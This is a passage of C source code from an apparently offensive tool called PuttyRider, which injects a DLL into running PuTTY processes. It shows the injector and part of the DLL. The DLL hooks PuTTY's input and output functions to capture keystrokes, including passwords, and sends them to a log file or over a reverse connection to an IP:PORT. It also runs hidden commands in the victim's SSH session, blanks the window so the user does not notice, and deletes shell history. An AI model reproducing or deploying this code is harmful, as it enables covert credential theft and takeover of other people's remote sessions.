#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include <iphlpapi.h>
#define BUFSIZE 512
DWORD GetModuleBaseAddress();
BOOL GetTextSection(CHAR* modulePath, PDWORD startAddr, PDWORD length);
BOOL HexStringToBytes(CHAR* pHexStr, UCHAR* pByteArray);
DWORD GetPidFromProcname(CHAR* procName);
BOOL ReadPipeMessage(HANDLE hPipe, CHAR* buffer);
BOOL WritePipeMessage(HANDLE hPipe, CHAR* buffer);
BOOL GetEstablishedConnOfPid(DWORD pid, MIB_TCPROW_OWNER_PID* pConnInfo);
BOOL IPv4ToString(DWORD ip, CHAR* dst, INT dstSize);
VOID PrintLastError();
VOID ListPuttyProcesses(UCHAR* procName, UCHAR* dllName);
BOOL PressPuttyKey(UINT keyCode);
DWORD GetPidNotInjected(CHAR* procName, UCHAR* dllName);
VOID ConvertToChar(WCHAR *wbuf, CHAR *buf);
BOOL ParseIPPort(CHAR* connectBackInfo, CHAR* connectBackIP, DWORD* connectBackPort);
const unsigned char* memmem(const unsigned char* haystack, size_t hlen,
const unsigned char* needle, size_t nlen);
#endif |
carlmon/PuttyRider | Wingetopt.c | <filename>Wingetopt.c
/*
POSIX getopt for Windows
http://note.sonots.com/Comp/CompLang/cpp/getopt.html
AT&T Public License
Code given out at the 1985 UNIFORUM conference in Dallas.
*/
#ifndef __GNUC__
#include "Wingetopt.h"
#include <stdio.h>
int opterr = 1;
int optind = 1;
int optopt;
char *optarg;
int
getopt(argc, argv, opts)
int argc;
char **argv, *opts;
{
static int sp = 1;
register int c;
register char *cp;
if(sp == 1)
if(optind >= argc ||
argv[optind][0] != '-' || argv[optind][1] == '\0')
return(-1);
else if(strcmp(argv[optind], "--") == 0) {
optind++;
return(-1);
}
optopt = c = argv[optind][sp];
if(c == ':' || (cp=(char*)strchr(opts, c)) == NULL) {
//ERR(": illegal option -- ", c);
if(argv[optind][++sp] == '\0') {
optind++;
sp = 1;
}
return('?');
}
if(*++cp == ':') {
if(argv[optind][sp+1] != '\0')
optarg = &argv[optind++][sp+1];
else if(++optind >= argc) {
//ERR(": option requires an argument -- ", c);
sp = 1;
return('?');
} else
optarg = argv[optind++];
sp = 1;
} else {
if(argv[optind][++sp] == '\0') {
sp = 1;
optind++;
}
optarg = NULL;
}
return(c);
}
#endif /* __GNUC__ */ |
carlmon/PuttyRider | PuttyRider.c | #define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <assert.h>
#include <shlwapi.h>
#include <shellapi.h>
#include "Utils.h"
#include "Wingetopt.h"
/* Pointers to exported DLL functions used for setting parameters */
VOID (*SetLogFileName)(UCHAR*);
VOID (*SetDefaultCmd)(UCHAR*);
VOID (*SetConnectBackInfo)(CHAR*, DWORD);
BOOL (*EjectDLL)(UINT);
typedef struct {
DWORD processID;
UCHAR* procName;
UCHAR* dllName;
} InjectorThreadArgs;
/* Injects a DLL into the process identified by processID
*/
BOOL InjectDLL(DWORD processID, CHAR* procName, CHAR* dllName)
{
HANDLE hProc;
LPVOID pLoadLibrary;
LPVOID pRemoteDLLName;
HANDLE hRemoteThread;
CHAR errorText[256];
DWORD exitCode = 0;
/* These should be the minimum privileges required */
#define CREATE_THREAD_ACCESS (PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ)
hProc = OpenProcess(CREATE_THREAD_ACCESS, FALSE, processID);
if (hProc == NULL) {
printf("[-] Could not open process %s\n", procName);
return FALSE;
}
pLoadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
if (pLoadLibrary == NULL) {
printf("[-] Could not get pointer to LoadLibrary\n");
return FALSE;
}
pRemoteDLLName = (LPVOID)VirtualAllocEx(hProc, NULL, MAX_PATH, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
if (pRemoteDLLName == NULL) {
printf("[-] Could not allocate memory for DLL name\n");
return FALSE;
}
WriteProcessMemory(hProc, pRemoteDLLName, dllName, lstrlen(dllName), NULL);
hRemoteThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)pLoadLibrary, pRemoteDLLName, 0, NULL);
if (hRemoteThread == NULL) {
FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM, NULL, GetLastError(),
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), errorText, 256, NULL);
printf("[-] Could not create remote thread: %s\n", errorText);
return FALSE;
}
CloseHandle(hRemoteThread);
CloseHandle(hProc);
return TRUE;
}
/* Call the exported method EjectDLL from the remote DLL
*/
BOOL EjectSingleDLL(DWORD processID, UCHAR* dllName)
{
HANDLE hProc;
HANDLE hRemoteThread;
printf("[+] Ejecting from Putty.exe pid=%i", processID);
if (IsDllLoaded(processID, dllName)) {
hProc = OpenProcess(CREATE_THREAD_ACCESS, FALSE, processID);
if (hProc == NULL) {
printf(" - Failed\n");
printf("[-] Could not open process with pid=%i\n", processID);
return FALSE;
}
hRemoteThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)EjectDLL, 0, 0, NULL);
WaitForSingleObject(hRemoteThread, INFINITE);
CloseHandle(hRemoteThread);
printf(" - Success\n");
} else {
printf(" - DLL not loaded\n");
}
return TRUE;
}
/* Enumerate all processes identified by procName and call EjectSingleDLL()
*/
BOOL EjectAllDLLs(UCHAR* procName, UCHAR* dllName)
{
PROCESSENTRY32 pe;
HANDLE hSnapshot;
BOOL retVal;
BOOL bProcFound = FALSE;
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hSnapshot == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create snapshot of running processes\n");
return FALSE;
}
pe.dwSize = sizeof(PROCESSENTRY32);
retVal = Process32First(hSnapshot, &pe);
while(retVal) {
if(StrStrI(pe.szExeFile, procName) != NULL) {
EjectSingleDLL(pe.th32ProcessID, dllName);
bProcFound = TRUE;
}
retVal = Process32Next(hSnapshot,&pe);
pe.dwSize = sizeof(PROCESSENTRY32);
}
if (bProcFound == FALSE) {
printf("[-] No process found - %s\n", procName);
return FALSE;
}
return TRUE;
}
/* Load the DLL into the address space of the current process in order to transmit
* some parameters to the remote DLL via the shared data segment of the DLL
* Parameters will be set using the corresponding functions exported by the DLL
*/
HINSTANCE InitializeDLL(CHAR* dllName)
{
HINSTANCE hDLL;
if ((hDLL = LoadLibrary(dllName)) == NULL) {
printf("[-] Could not load the DLL into our own address space\n");
return NULL;
}
SetLogFileName = (VOID (*)(UCHAR*))GetProcAddress(hDLL, "SetLogFileName");
if (SetLogFileName == NULL) {
printf("[-] Could not find SetLogFileName\n");
return NULL;
}
SetDefaultCmd = (VOID (*)(UCHAR*))GetProcAddress(hDLL, "SetDefaultCmd");
if (SetDefaultCmd == NULL) {
printf("[-] Could not find SetDefaultCmd\n");
return NULL;
}
SetConnectBackInfo = (VOID (*)(CHAR*, DWORD))GetProcAddress(hDLL, "SetConnectBackInfo");
if (SetConnectBackInfo == NULL) {
printf("[-] Could not find SetConnectBackInfo\n");
return NULL;
}
EjectDLL = (BOOL (*)(UINT))GetProcAddress(hDLL, "EjectDLL");
if (EjectDLL == NULL) {
printf("[-] Could not find EjectDLL\n");
return NULL;
}
return hDLL;
}
DWORD WINAPI RunInjectorThread(LPVOID lpParam)
{
InjectorThreadArgs ita = *((InjectorThreadArgs*)lpParam);
DWORD processID = ita.processID;
if ((INT)processID >= 0 ) {
if (processID == 0) {
printf("[+] Searching for a Putty process...\n");
/* Search for target process */
processID = GetPidFromProcname(ita.procName);
if (processID == 0) {
printf("[-] Could not find process %s\n", ita.procName);
return 0;
}
}
printf("[+] Using putty.exe PID=%i\n", processID);
printf("[+] Injecting DLL...\n");
if (InjectDLL(processID, ita.procName, ita.dllName) == FALSE) {
return 0;
}
} else {
printf("[+] Waiting for Putty process...\n");
while (TRUE) {
processID = GetPidNotInjected(ita.procName, ita.dllName);
if (processID != 0) {
printf("[+] Putty PID=%i\n", processID);
printf("[+] Injecting DLL...\n");
InjectDLL(processID, ita.procName, ita.dllName);
}
Sleep(100);
}
}
return 0;
}
VOID PrintHelp(CHAR* progName)
{
printf("\n\
Usage: %s [options]\n\
\n\
Options:\n\
\n\
Operation modes:\n\
-l List the running Putty processes and their connections\n\
-w Inject in all existing Putty sessions and wait for new sessions\n\
to inject in those also\n\
-p PID Inject only in existing Putty session identified by PID.\n\
If PID==0, inject in the first Putty found\n\
-x Cleanup. Remove the DLL from all running Putty instances\n\
-d Debug mode. Only works with -p mode\n\
-c CMD Automatically execute a Linux command after successful injection\n\
PuttyRider will remove trailing spaces and '&' character from CMD\n\
PuttyRider will add \" 1>/dev/null 2>/dev/null &\" to CMD\n\
-h Print this help\n\
\n\
Output modes:\n\
-f Write all Putty conversation to a file in the local directory.\n\
The filename will have the PID of current putty.exe appended\n\
-r IP:PORT Initiate a reverse connection to the specified machine and\n\
start an interactive session.\n\
\n\
Interactive commands (after you receive a reverse connection):\n\
!status See if the Putty window is connected to user input\n\
!discon Disconnect the main Putty window so it won't display anything\n\
This is useful to send commands without the user to notice\n\
!recon Reconnect the Putty window to its normal operation mode\n\
CMD Linux shell commands\n\
!exit Terminate this connection\n\
!help Display help for client connection\n\
\n\
", progName);
}
BOOL RestartProcessDetached(INT argc, CHAR** argv)
{
DWORD dwCreationFlags = CREATE_DEFAULT_ERROR_MODE | DETACHED_PROCESS;
STARTUPINFO startinfo;
PROCESS_INFORMATION procinfo;
CHAR cmdLine[MAX_PATH] = "";
INT i;
for (i = 0; i < argc; i++) {
strcat(cmdLine, argv[i]);
strcat(cmdLine, " ");
}
ZeroMemory(&startinfo, sizeof(startinfo));
startinfo.cb = sizeof(startinfo);
return CreateProcess(NULL, cmdLine, NULL, NULL, FALSE, dwCreationFlags, NULL, NULL, &startinfo, &procinfo);
}
VOID main(INT argc, CHAR** argv)
{
CHAR* procName = "putty.exe";
CHAR dllName[MAX_PATH] = "PuttyRider.dll";
CHAR logFileName[MAX_PATH] = "PuttyRider.log";
CHAR workingDir[MAX_PATH];
HANDLE logPipe;
HANDLE hDLL;
CHAR buffer[BUFSIZE];
DWORD PIPE_TIMEOUT_CONNECT = 3000; /* Wait 3 seconds for injected DLL to connect back to pipe */
OVERLAPPED overlapped = {0,0,0,0,NULL};
BOOL bRet;
HANDLE hInjectorThread = NULL; /* Handle to the injector thread */
InjectorThreadArgs ita;
CHAR connectBackIP[BUFSIZE];
DWORD connectBackPort;
/* Command line arguments */
INT processID = -1; /* pid == -1 => no pid specified (equivalent with bWait == TRUE)
pid == 0 => inject in first Putty found
pid > 0 => inject in Putty pid
*/
BOOL bWait = FALSE;
BOOL bDebug = FALSE;
CHAR defaultCmd[MAX_PATH] = "";
BOOL bListPuttys = FALSE;
BOOL bWriteFile = FALSE;
BOOL bCleanup = FALSE;
CHAR connectBackInfo[BUFSIZE] = "";
INT opt;
/* Disable output buffering */
setbuf(stdout, NULL);
/* Print banner */
printf("\n\nPuttyRider v0.1\n===============\n\n");
/* Parse the comand line arguments */
while ((opt = getopt(argc, argv, "wp:dc:sxfr:lh")) != -1) {
switch (opt) {
case 'w':
bWait = TRUE;
break;
case 'p':
if (sscanf(optarg, "%d", &processID) == 0) {
printf("[-] Incorrect value for pid. Must be an integer\n");
PrintHelp(argv[0]);
return;
}
if (processID < 0 || processID > 65535) {
printf("[-] Incorrect value for pid. Must be in range 0..65535\n");
PrintHelp(argv[0]);
return;
}
break;
case 'd':
bDebug = TRUE;
break;
case 'c':
/* Leave space for modifiers added by the DLL to the command */
strncat(defaultCmd, optarg, BUFSIZE-100);
break;
case 'x':
bCleanup = TRUE;
break;
case 'f':
bWriteFile = TRUE;
/* Prepend the current directory to log filename */
GetCurrentDirectory(MAX_PATH-strlen(logFileName)-2, workingDir);
strncpy(buffer, logFileName, BUFSIZE);
sprintf(logFileName, "%s\\%s", workingDir, buffer);
break;
case 'r':
strncat(connectBackInfo, optarg, BUFSIZE-1);
/* Parse the IP:PORT format */
if (ParseIPPort(connectBackInfo, connectBackIP, &connectBackPort) == FALSE) {
PrintHelp(argv[0]);
return;
}
break;
case 'l':
bListPuttys = TRUE;
break;
case 'h':
PrintHelp(argv[0]);
return;
case '?':
if (optopt == 'p' || optopt == 'c' || optopt == 'r')
printf("[-] Option -%c requires an argument\n", optopt);
else
printf("[-] Unknown option '-%c'\n", optopt);
PrintHelp(argv[0]);
return;
default:
printf("[-] Invalid arguments\n");
PrintHelp(argv[0]);
return;
}
}
/* Check if arguments have been supplied correctly */
if (bWait == FALSE && processID == -1 && bListPuttys == FALSE && bCleanup == FALSE) {
printf("[-] Operation mode must be specified (-w or -p or -l or -x)\n");
PrintHelp(argv[0]);
return;
}
if (bWait == TRUE && processID >= 0) {
printf("[-] Options -w and -p cannot be both be set. Please choose only one\n");
PrintHelp(argv[0]);
return;
}
if (bWriteFile == FALSE && strlen(connectBackInfo) == 0 && bListPuttys == FALSE && bCleanup == FALSE) {
printf("[-] Output mode must be specified (-f or -r)\n");
PrintHelp(argv[0]);
return;
}
/* If we are in -w mode and we're attached to console, restart the process detached from console */
if (bWait == TRUE && GetStdHandle(STD_OUTPUT_HANDLE) != 0) {
printf("[+] Waiting for new Putty processes (in background)...\n");
if (bWriteFile == TRUE) {
printf("[+] Check the log file: %s\n", logFileName);
}
if (strlen(connectBackInfo) > 0) {
printf("[+] Check the connection on: %s:%i\n", connectBackInfo, connectBackPort);
}
if (RestartProcessDetached(argc, argv) == FALSE) {
printf("[-] Restarting process in background has failed");
}
return;
}
/* Initialize the remote DLL by first loading it into our own address space */
if ((hDLL = InitializeDLL(dllName)) == NULL) {
return;
}
/* Overwrite the DLL name with its full path */
GetModuleFileName(hDLL, dllName, MAX_PATH);
if (bListPuttys == TRUE) {
printf("[+] Listing running Putty processes...\n");
ListPuttyProcesses(procName, dllName);
return;
}
if (bCleanup == TRUE) {
printf("[+] Removing DLL from all Putty processes...\n");
EjectAllDLLs(procName, dllName);
return;
}
if (bWriteFile == TRUE) {
SetLogFileName(logFileName);
}
if (strlen(defaultCmd)) {
SetDefaultCmd(defaultCmd);
}
if (strlen(connectBackInfo) > 0) {
SetConnectBackInfo(connectBackIP, connectBackPort);
}
if (bWait == FALSE) {
/* Create a pipe for receiving log messages from remote DLL */
logPipe = CreateNamedPipe("\\\\.\\pipe\\pr_log", PIPE_ACCESS_INBOUND|FILE_FLAG_OVERLAPPED,
PIPE_TYPE_BYTE|PIPE_READMODE_BYTE|PIPE_WAIT|PIPE_REJECT_REMOTE_CLIENTS,
PIPE_UNLIMITED_INSTANCES, BUFSIZE, BUFSIZE, PIPE_TIMEOUT_CONNECT, NULL);
if (logPipe == INVALID_HANDLE_VALUE) {
printf("[-] Could not create named pipe\n");
PrintLastError();
return;
}
}
/* Create the injector thread */
ita.processID = processID;
ita.procName = procName;
ita.dllName = dllName;
hInjectorThread = CreateThread(NULL, 0, RunInjectorThread, &ita, 0, NULL);
if (hInjectorThread == NULL) {
printf("[-] Creating injector thread failed\n");
return;
}
if (bWait == FALSE) {
/* Start communicating with remote thread */
overlapped.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
bRet = ConnectNamedPipe(logPipe, &overlapped);
if (bRet == FALSE) {
switch (GetLastError()) {
case ERROR_PIPE_CONNECTED:
/* Client is connected */
bRet = TRUE;
break;
case ERROR_IO_PENDING:
/* If pending, wait PIPE_TIMEOUT_CONNECT ms */
if (WaitForSingleObject(overlapped.hEvent, PIPE_TIMEOUT_CONNECT) == WAIT_OBJECT_0) {
DWORD dwIgnore;
bRet = GetOverlappedResult(logPipe, &overlapped, &dwIgnore, FALSE);
} else {
CancelIo(logPipe);
}
break;
}
}
CloseHandle(overlapped.hEvent);
/* Check if the any client has connected */
if (bRet == FALSE) {
printf("[-] DLL injection failed (Pipe connection timed out)\n");
printf(" Are you already injected in this Putty process?\n");
} else {
printf("[+] Pipe client connected\n");
while (TRUE) {
if (ReadPipeMessage(logPipe, buffer) == FALSE) {
printf("[-] Pipe read failed\n");
break;
}
if (strstr(buffer, "!consoledetach") != 0) {
if (bDebug == FALSE) {
break;
}
}
printf("%s", buffer);
Sleep(50);
}
printf("[+] Check the log file and/or the remote connection handler\n");
}
}
WaitForSingleObject(hInjectorThread, INFINITE);
DisconnectNamedPipe(logPipe);
FreeLibrary(hDLL);
printf("[+] Exiting PuttyRider\n");
}
|
carlmon/PuttyRider | PuttyRiderDLL.c | #include <windows.h>
#include "Utils.h"
/* This named data section will be shared between multiple instances of this DLL
* Its purpose is to pass the parameters from PuttyRider.exe to the DLL instance running inside Putty.exe
* In order to be shared, it needs to be loaded by PuttyRider.exe also
*/
#pragma data_seg(".shared")
UCHAR connectBackIP[BUFSIZE] = "";
UINT connectBackPort = 0;
UCHAR logFileName[MAX_PATH] = "";
UCHAR defaultCmd[MAX_PATH] = "";
#pragma data_seg()
#pragma comment(linker, "/section:.shared,RWS")
/* Disable compiler warning: C4731 frame pointer register modified
*/
#pragma warning(disable : 4731)
/* The hex representation of signatures must be less than 200 characters (100 bytes)
* The hex representation of signatures must have an even length
*/
#define LDISC_SEND_SIGN1 "515355568b742414578b7c242033ed3bfd896c2410" /* Matches ldisc_send() in Putty 0.54 - 0.63 */
#define LDISC_SEND_SIGN2 "5553575683EC0C8B7424208B7C2428833E00751768" /* Matches ldisc_send() in Putty 0.70 */
#define TERM_DATA_SIGN1 "56ff7424148b74240cff7424148d466050e8" /* Matches term_data() in Putty 0.54 - 0.56 */
#define TERM_DATA_SIGN2 "56ff7424148b74240cff7424148d464c50e8" /* Matches term_data() in Putty 0.57 */
#define TERM_DATA_SIGN3 "568b742408ff7424148d464cff74241450e8" /* Matches term_data() in Putty 0.58 - 0.63 */
#define TERM_DATA_SIGN4 "568B7424088D4660FF742414FF74241450E8" /* Matches term_data() in Putty 0.70 */
DWORD pLdiscSend; /* The address of ldisc_send() in .text section of Putty.exe */
DWORD pTermData; /* The address of term_data() in .text section of Putty.exe */
UCHAR ldiscSendBytes[9]; /* First 9 bytes of function ldisc_send() */
UCHAR termDataBytes[9]; /* First 9 bytes of function term_data() */
DWORD oldEIPLdiscSend;
DWORD oldEIPTermData;
DWORD processID; /* Current process ID */
FILE* logFd; /* FILE object that identifies the output file */
HANDLE logPipe; /* Handler of a named pipe used for sending log messages to the initial process */
UCHAR buffer[BUFSIZE]; /* General buffer to keep temporary data */
UCHAR keyPressBuf[BUFSIZE]; /* Stores user input received in ldisc_send() */
BOOL connInfoSent = FALSE; /* This flag says if connection information has already been sent or not */
BOOL outputDisabled = FALSE; /* If output is disabled, the Putty window will not display anything */
INT outputDisabledCount; /* When disabling output, this is the number of times term_data() is not called
* For instance, for not showing one shell command, term_data() must be skipped 2 times
*/
BOOL bDefaultCmdExecuted = FALSE; /* Ensure that the default command is executed only once */
BOOL bEjectDLL = FALSE; /* This signals that the DLL should be unloaded */
SOCKET gsock = 0; /* Socket for reverse connection */
VOID* ldiscSendHandleParam = 0; /* This is the first parameter that is passed to ldisc_send() by putty
* Ldisc ldisc = (Ldisc) handle;
*/
BOOL bPuttyWindowConnected = TRUE;
/* Prototypes of function handlers that will be called after hooking the target functions
*/
VOID LdiscSendHandler(VOID* handle, CHAR* buf, INT len, INT interactive);
INT TermDataHandler(VOID* term, INT is_stderr, CHAR* data, INT len);
/* Helper functions for enabling/disabling Putty output */
VOID DisablePuttyOutput()
{
outputDisabled = TRUE;
outputDisabledCount = 3; /* Skip term_data() x times */
}
VOID EnablePuttyOutput()
{
outputDisabled = FALSE;
}
/* Finds the pointers to target functions by searching their patterns in the .text section of the current module
*/
BOOL FindTargetFunctions(DWORD* pLdiscSend, DWORD* pTermData)
{
UCHAR modulePath[MAX_PATH];
DWORD moduleBaseAddress;
DWORD textSectionAddress;
DWORD textSectionSize;
DWORD numBytes;
GetModuleFileName(NULL, modulePath, MAX_PATH);
sprintf(buffer, "[+] [%i] Target path: %s\n", processID, modulePath);
WritePipeMessage(logPipe, buffer);
moduleBaseAddress = GetModuleBaseAddress();
if(GetTextSection(modulePath, &textSectionAddress, &textSectionSize) == FALSE) {
sprintf(buffer, "[-] [%i] %s\n", processID, "Could not find .text section\n");
WritePipeMessage(logPipe, buffer);
return FALSE;
} else {
sprintf(buffer, "[+] [%i] Base address: %08x\n", processID, moduleBaseAddress);
WritePipeMessage(logPipe, buffer);
sprintf(buffer, "[+] [%i] .text start address: %08x\n", processID, textSectionAddress);
WritePipeMessage(logPipe, buffer);
sprintf(buffer, "[+] [%i] .text size: %08x\n", processID, textSectionSize);
WritePipeMessage(logPipe, buffer);
}
/* Find ldisc_send() address in .text section of Putty.exe */
HexStringToBytes(LDISC_SEND_SIGN1, buffer);
*pLdiscSend = (DWORD)memmem((const unsigned char*)(moduleBaseAddress + textSectionAddress), textSectionSize,
(const unsigned char*)buffer, strlen(LDISC_SEND_SIGN1) / 2);
if (*pLdiscSend == 0) {
HexStringToBytes(LDISC_SEND_SIGN2, buffer);
*pLdiscSend = (DWORD)memmem((const unsigned char*)(moduleBaseAddress + textSectionAddress), textSectionSize,
(const unsigned char*)buffer, strlen(LDISC_SEND_SIGN2) / 2);
}
if (*pLdiscSend == 0) {
sprintf(buffer, "[-] [%i] %s\n", processID, "Could not find ldisc_send()\n");
WritePipeMessage(logPipe, buffer);
return FALSE;
}
/* Find term_data() address in .text section of Putty.exe */
/* Try all signatures */
HexStringToBytes(TERM_DATA_SIGN1, buffer);
*pTermData = (DWORD)memmem((const unsigned char*)(moduleBaseAddress + textSectionAddress), textSectionSize,
(const unsigned char*)buffer, strlen(TERM_DATA_SIGN1) / 2);
if (*pTermData == 0) {
HexStringToBytes(TERM_DATA_SIGN2, buffer);
*pTermData = (DWORD)memmem((const unsigned char*)(moduleBaseAddress + textSectionAddress), textSectionSize,
(const unsigned char*)buffer, strlen(TERM_DATA_SIGN2) / 2);
}
if (*pTermData == 0) {
HexStringToBytes(TERM_DATA_SIGN3, buffer);
*pTermData = (DWORD)memmem((const unsigned char*)(moduleBaseAddress + textSectionAddress), textSectionSize,
(const unsigned char*)buffer, strlen(TERM_DATA_SIGN3) / 2);
}
if (*pTermData == 0) {
HexStringToBytes(TERM_DATA_SIGN4, buffer);
*pTermData = (DWORD)memmem((const unsigned char*)(moduleBaseAddress + textSectionAddress), textSectionSize,
(const unsigned char*)buffer, strlen(TERM_DATA_SIGN4) / 2);
}
if (*pTermData == 0) {
sprintf(buffer, "[-] [%i] %s\n", processID, "Could not find term_data()\n");
WritePipeMessage(logPipe, buffer);
return FALSE;
}
return TRUE;
}
/* Write a sequence of opcodes at pLocation that will determine a jump to pJmpAddr:
* XOR EAX, EAX; ADD EAX pJmpAddr; JMP EAX
*/
VOID WriteJmpToAddress(DWORD pLocation, DWORD pJmpAddr)
{
#define XOR_EAX_EAX "31c0"
#define JMP_EAX "ffe0"
CHAR jmpAddrStr[9];
CHAR opcodeStr[200];
UINT pos = 0;
UINT j;
UCHAR xbyte;
memset(opcodeStr, 0, 200);
sprintf(jmpAddrStr, "%08x", pJmpAddr);
strcat(opcodeStr, XOR_EAX_EAX);
strcat(opcodeStr, "05"); // ADD EAX, ...
/* Append jmp address bytes in reverse order */
strcat(opcodeStr, jmpAddrStr+6);
jmpAddrStr[6] = 0;
strcat(opcodeStr, jmpAddrStr+4);
jmpAddrStr[4] = 0;
strcat(opcodeStr, jmpAddrStr+2);
jmpAddrStr[2] = 0;
strcat(opcodeStr, jmpAddrStr);
strcat(opcodeStr, JMP_EAX);
/* Transform string opcodes to bytes and write them to location */
for (j = 0; j < (strlen(opcodeStr) / 2); j++) {
sscanf(opcodeStr + 2*j, "%02x", &xbyte);
((UCHAR*)pLocation)[pos++] = xbyte;
}
}
/* This function installs both hooks for the first time into the target functions
*/
BOOL InstallHooks()
{
INT i;
/* Save the first 9 bytes from the beginning of the target functions because they will be overwritten with JMPs */
for(i = 0; i < 9; i++) {
ldiscSendBytes[i] = ((UCHAR*)pLdiscSend)[i];
termDataBytes[i] = ((UCHAR*)pTermData)[i];
}
/* Change the access rights of memory regions of target functions */
if (VirtualProtect((UCHAR*)pLdiscSend, 20, PAGE_EXECUTE_READWRITE, &i) == 0) {
sprintf(buffer, "[-] [%i] %s\n", processID, "VirtualProtect failed\n");
WritePipeMessage(logPipe, buffer);
return FALSE;
}
if (VirtualProtect((UCHAR*)pTermData, 20, PAGE_EXECUTE_READWRITE, &i) == 0) {
sprintf(buffer, "[-] [%i] %s\n", processID, "VirtualProtect failed\n");
WritePipeMessage(logPipe, buffer);
return FALSE;
}
WriteJmpToAddress(pLdiscSend, (DWORD)LdiscSendHandler);
WriteJmpToAddress(pTermData, (DWORD)TermDataHandler);
return TRUE;
}
/* After the original function has executed, reinsert hook (jmp) into the function code and give back control to original program
*/
VOID ReinstallHookLdiscSend()
{
INT* thisOldEIP;
/* Save the result returned by previous function */
__asm push eax;
/* Reinsert hook */
WriteJmpToAddress(pLdiscSend, (DWORD)LdiscSendHandler);
/* Make the function return back to the original location (to legitimate code) */
__asm {
mov thisOldEIP, ebp; /* This is the location where old EIP must be placed for this function */
push eax;
push ebx;
push ecx;
mov ebx, thisOldEIP;
mov ecx, oldEIPLdiscSend;
/* EBP must be lifted 4 bytes on stack, oldEIPLdiscSend must be inserted in the initial place of EBP */
sub ebp, 4;
mov eax, [ebp+4];
mov [ebp], eax;
mov [ebx], ecx;
pop ecx;
pop ebx;
pop eax;
}
/* Restore the result returned by previous function */
__asm pop eax;
}
/* After the original function has executed, reinsert hook (jmp) into the function code and give back control to original program
*/
VOID ReinstallHookTermData()
{
INT* thisOldEIP;
/* Save the result returned by previous function */
__asm push eax;
/* Reinsert hook */
WriteJmpToAddress(pTermData, (DWORD)TermDataHandler);
/* Make the function return back to the original location (to legitimate code) */
__asm {
mov thisOldEIP, ebp; /* This is the location where old EIP must be placed for this function */
push eax;
push ebx;
push ecx;
mov ebx, thisOldEIP;
mov ecx, oldEIPTermData;
/* EBP must be lifted 4 bytes on stack, oldEIPTermData must be inserted in the initial place of EBP */
sub ebp, 4;
mov eax, [ebp+4];
mov [ebp], eax;
mov [ebx], ecx;
pop ecx;
pop ebx;
pop eax;
}
/* Restore the result returned by previous function */
__asm pop eax;
}
/* This is the handler function that is called after hooking ldisc_send()
* Original function declaration is:
* - void ldisc_send(void *handle, char *buf, int len, int interactive)
* The original function handles input (key presses) sent by the user in the main Putty window
*/
VOID LdiscSendHandler(VOID* handle, CHAR* buf, INT len, INT interactive)
{
INT i;
UCHAR c;
UCHAR* ptr;
INT actualLen;
INT* oldEIPAddr;
VOID (*ldisc_send)(VOID*, CHAR*, INT, INT);
/* Save old EIP of original function to oldEIPLdiscSend */
__asm mov oldEIPAddr, EBP;
oldEIPAddr += 1; /* oldEIPAddr += 1 * sizeof(int*) */
oldEIPLdiscSend = (DWORD)*oldEIPAddr;
if (bEjectDLL == FALSE) {
/* Replace old EIP with a pointer to our code which will reinstall the hook */
*oldEIPAddr = (DWORD)ReinstallHookLdiscSend;
}
/* Restore original function bytes in order to be usable */
for(i = 0; i < 9; i++) {
((UCHAR*)pLdiscSend)[i] = ldiscSendBytes[i];
}
/* Save the handle so we can use it in our own thread */
ldiscSendHandleParam = handle;
/* If we reach here having our buffer with data, it means that it has not been echoed by the server (ex. password)
* So we must process this data also
*/
if (strlen(keyPressBuf) > 0) {
if (strlen(logFileName) > 0) {
fwrite(keyPressBuf, strlen(keyPressBuf), 1, logFd);
}
if (gsock > 0) {
send(gsock, keyPressBuf, strlen(keyPressBuf), 0);
}
sprintf(buffer, "[+] [%i] ldisc_send(): %s\n", processID, keyPressBuf);
WritePipeMessage(logPipe, buffer);
keyPressBuf[0] = 0;
}
/* Store input data in keyPressBuf */
if (len < 0) { /* From Putty src: Less than zero means null terminated special string */
actualLen = strlen(buf);
} else {
actualLen = len;
}
if (actualLen > BUFSIZE - 2) {
actualLen = BUFSIZE - 2; /* Leave space for null terminator */
}
keyPressBuf[0] = 0;
memcpy(keyPressBuf, buf, actualLen);
keyPressBuf[actualLen + 1] = 0; /* Add null terminator */
/* Call original function */
ldisc_send = (VOID(*)(VOID*, CHAR*, INT, INT))pLdiscSend;
if (strlen(defaultCmd) > 0 && bDefaultCmdExecuted == FALSE) {
/* Disable output in the Putty window */
DisablePuttyOutput();
/* Configure the local history to ignore commands beginning with space */
sprintf(buffer, " export HISTCONTROL=ignorespace;n=`history|tail -n 1|cut -d ' ' -f 3`;history -d $n;history -w\n");
ldisc_send(handle, buffer, strlen(buffer), interactive);
/* Remove trailing spaces and '&' character */
for (ptr = defaultCmd + strlen(defaultCmd) - 1; ptr != defaultCmd; ptr--) {
if (*ptr != ' ' && *ptr != '&') {
break;
} else {
*ptr = 0;
}
}
sprintf(buffer, "[+] [%i] Executing command:\n", processID);
WritePipeMessage(logPipe, buffer);
/* Prefix all commands with a space in order not to show in history */
sprintf(buffer, " %s 1>/dev/null 2>/dev/null &\n", defaultCmd);
ldisc_send(handle, buffer, strlen(buffer), interactive);
WritePipeMessage(logPipe, " ");
WritePipeMessage(logPipe, buffer);
bDefaultCmdExecuted = TRUE;
} else {
ldisc_send(handle, buf, len, interactive);
}
return;
}
/* This is the handler function that is called after hooking term_data()
* Original function declaration is:
* - int term_data(Terminal *term, int is_stderr, const char *data, int len)
* The original function handles data received from the server side and which should be
* displayed in the main Putty window
*/
INT TermDataHandler(VOID* term, INT is_stderr, CHAR* data, INT len)
{
INT i;
INT* oldEIPAddr;
INT (*term_data)(VOID*, INT, CHAR*, INT);
INT res;
CHAR ipAddr1[BUFSIZE];
CHAR ipAddr2[BUFSIZE];
MIB_TCPROW_OWNER_PID connInfo;
